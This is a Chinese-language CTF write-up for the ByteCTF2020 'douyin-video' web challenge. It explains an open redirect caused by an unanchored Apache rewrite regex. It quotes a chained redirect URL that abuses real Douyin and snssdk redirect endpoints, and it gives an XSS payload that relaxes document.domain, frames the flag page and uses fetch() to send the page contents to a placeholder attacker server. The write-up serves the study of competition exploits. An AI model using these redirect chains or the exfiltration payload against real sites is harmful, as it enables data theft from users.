0%

[ByteCTF2020]douyin-video

[ByteCTF2020]douyin-video

太难了,字节这个比赛的web就离谱离谱离谱离谱离谱离谱
我反正一个都不会,最简单的这个题看了一天多也不会做
环境也没得了,复现机会->0

题解

题目给了一个反馈功能和一个提交xss功能,xss无过滤,反馈功能肯定也就是给我们打机器人的
但是我们提交的xss在c.bytectf.live:30002下,而bot只能访问a.bytectf.live:30001
还有一个b.bytectf.live:30001,好像ab的后端都是一致的,如果看附件给的源码的话发现还有a和b之间的跳转,但是不知道意义是什么

任意url跳转

题目给了源码,之前测试的时候也发现了,a.bytectf.live后接内容会跳转到抖音主页,然后把后接内容拼上去
看到附件里Apache的配置也有这么一句RewriteRule (.*)$ http://www.douyin.com$1
然后我们就去日抖音了,想找个抖音的任意url跳转,日了一个下午+一个晚上都没日出来,后来赛后看wp还真有神仙日出来了抖音的任意url跳转
后来是fuzz出来了在a.bytectf.live:30001后接%0a可以任意url跳转,后面给自己域名解析一下,整一个www.douyin.com.xxxxxx.com 的域名出来,就可以跳转到自己的服务器上,然后再给自己服务器上放一个a标签再重定向一次导c.bytectf.live:30001上,起码能把xss提交到bot那去了

看WM的wp说的是任意url跳转是因为(.*)$这个正则匹配写的有点歪,没用^,点号.不匹配换行符,$匹配字符串的结束位置,所以事实上匹配的是我们换了行之后的那截,再拼到douyin.com后面导致的任意url跳转
先给自己的服务器整个域名(幸好我有,再整个抖音的子域名就跳过去了)

日抖音

然后超级大哥的超级做法,日抖音,说是登入登出的时候经常会有登出后跳转这种类型的功能,然后在抖音几个子公司的域名下跳来跳去最终跳到了任意链接,太牛逼了,就贴一个神仙payload
http://a.bytectf.live:30001/logout?next=https%3a//creator.douyin.com/passport/web/logout/%3fnext%3dhttps://tsearch-quic.snssdk.com/search/jump?url=http://c.bytectf.live:30002/?action=post%25252526id=b44cb32f302e2d4249dea06a2ffa0da1
https://tsearch-quic.snssdk.com/search/jump应该是神仙找到的一个提供任意url跳转的网站

XSS

后端是python搭的,但是主要的逻辑都在js上,python就设置了一堆安全策略
router.py

// 一大堆没什么用的代码
........

@app.route("/search", methods=['POST'])
def search_handler():
    keyword = request.form['keyword']
    if keyword == '':
        return jsonify()
    elif {k for k in DATASET.keys() if keyword == k}:
        return jsonify({DATASET[keyword]: ''})
    else:
        ret = {k: '' for k in DATASET.keys() if keyword in k}
        return jsonify(ret), 200 if len(ret) else 200


@app.after_request
def add_security_headers(resp):
    resp.headers['X-Frame-Options'] = 'sameorigin'
    resp.headers[
        'Content-Security-Policy'] = "default-src http://*.bytectf.live:*/ 'unsafe-inline'; frame-src *; frame-ancestors http://*.bytectf.live:*/"
    resp.headers['X-Content-Type-Options'] = 'nosniff'
    resp.headers['Referrer-Policy'] = 'same-origin'
    return resp

两个js
send下的js

if (location.host != 'a.bytectf.live:30001') {
    document.domain = 'bytectf.live'
}
let u = new URL(location), p = u.searchParams, k = p.get('keyword') || ''
if ('' === k) history.replaceState('', '', '?keyword=')
axios.post('/search', `keyword=${encodeURIComponent(k)}`).then(resp => {
    result.innerHTML = ''
    for (i of Object.keys(resp.data)) {
        let p = document.createElement('pre')
        p.style = "display: none;"
        p.textContent = i
        result.appendChild(p)
    }
})

index下的js

let u = new URL(location), p = u.searchParams, k = p.get('keyword') || '';
if ('' === k) history.replaceState('', '', '?keyword=');
axios.post('/search', `keyword=${encodeURIComponent(k)}`).then(resp => {
    result.innerHTML = '';
    if (document.domain == 'a.bytectf.live') {
        if(Object.keys(resp.data).length != 0){
            document.domain = 'bytectf.live'
                for (f of Object.keys(resp.data)) {
                    let i = document.createElement('iframe');
                    i.src = `http://b.bytectf.live:30001/send?keyword=${encodeURIComponent(f)}`;
                    result.appendChild(i);
                    setTimeout(
                        () => {
                            let u = window.frames[0].document.getElementById('result').children[0].innerText;
                            let e = document.createElement('iframe'); e.src = u;
                            window.frames[0].document.getElementById('result').append(e)
                        },2500)
                }
            }
            else
            {
                //没吊用的代码
                .......
            }
    }
})

设置了一堆同源策略,frame-ancestors http://*.bytectf.live:*/支持来着任意匹配域名的iframe,覆盖掉了另一句['X-Frame-Options'] = 'sameorigin',然后还在js下面加了一堆document.domain,超级跨域给机会

两个js也不知道有什么意义,反正都是通过GET提交的keyword去python的search路由下面查一个数据内嵌到页面里,index是把数据放在开一个b的新的frame的src里面,send是直接整一个放在pre标签里面,我估摸着是不是在模拟真实环境啊?

反正看route.py的那个逻辑,只要keyword in k就能返回东西出来,flag是ByteCTFxxx,提交keyword是ByteCTF就行了
在c中修改自己的document.domain,引入a.bytectf.live:30001?keyword=ByteCTF作为iframe,a自己给自己设一个document.domain自动提供跨域功能。直接拿这个查询结果里的flag就行
也可以打b.bytectf.live:30001/send?keyword=ByteCTF,注意打send的话要打b站,因为send的js写的是如果不是a站才设置document.domain
所以还是没懂这么整两个一模一样的站有什么区别,再整两个功能差不多的js脚本干什么

最后上xsspayload,设置document.domain开iframe再直接用innerHTML加fetch函数发请求一气呵成

document.domain = 'bytectf.live';
var ifr=document.createElement("iframe");
ifr.setAttribute('src','http://b.bytectf.live:30001/send?keyword=Byte');
document.body.appendChild(ifr);
setTimeout(() => {
fetch('http://xxxx.com:10040/?data=' +
encodeURI(window.frames[0].document.body.innerHTML));
},4000);

坑点

或者说是不足的知识点吧,这种需要加载的页面打起来应该用setTimeout异步等待页面加载完再发数据出来,不然页面都还没加载出来就试图获取数据啥也拿不到(就这个浪费了好久时间)

document.domain会把设置完之后的同源策略的端口置为null,现在看到两种说法,一个是之前看到的说端口置为null之后就只能和同样是null的才能同源,还有一个是在MDN上看到的说置为null后任意端口都能同源了(没试验过先记下来,我先选择相信MDN)
https://developer.mozilla.org/en-US/docs/Web/API/Document/domain

end

好像一路理下来也不是特别难,正则匹配写歪了导致的跳转我是真没想到,最后setTimeout我也没想到,我真的什么都不会呜呜呜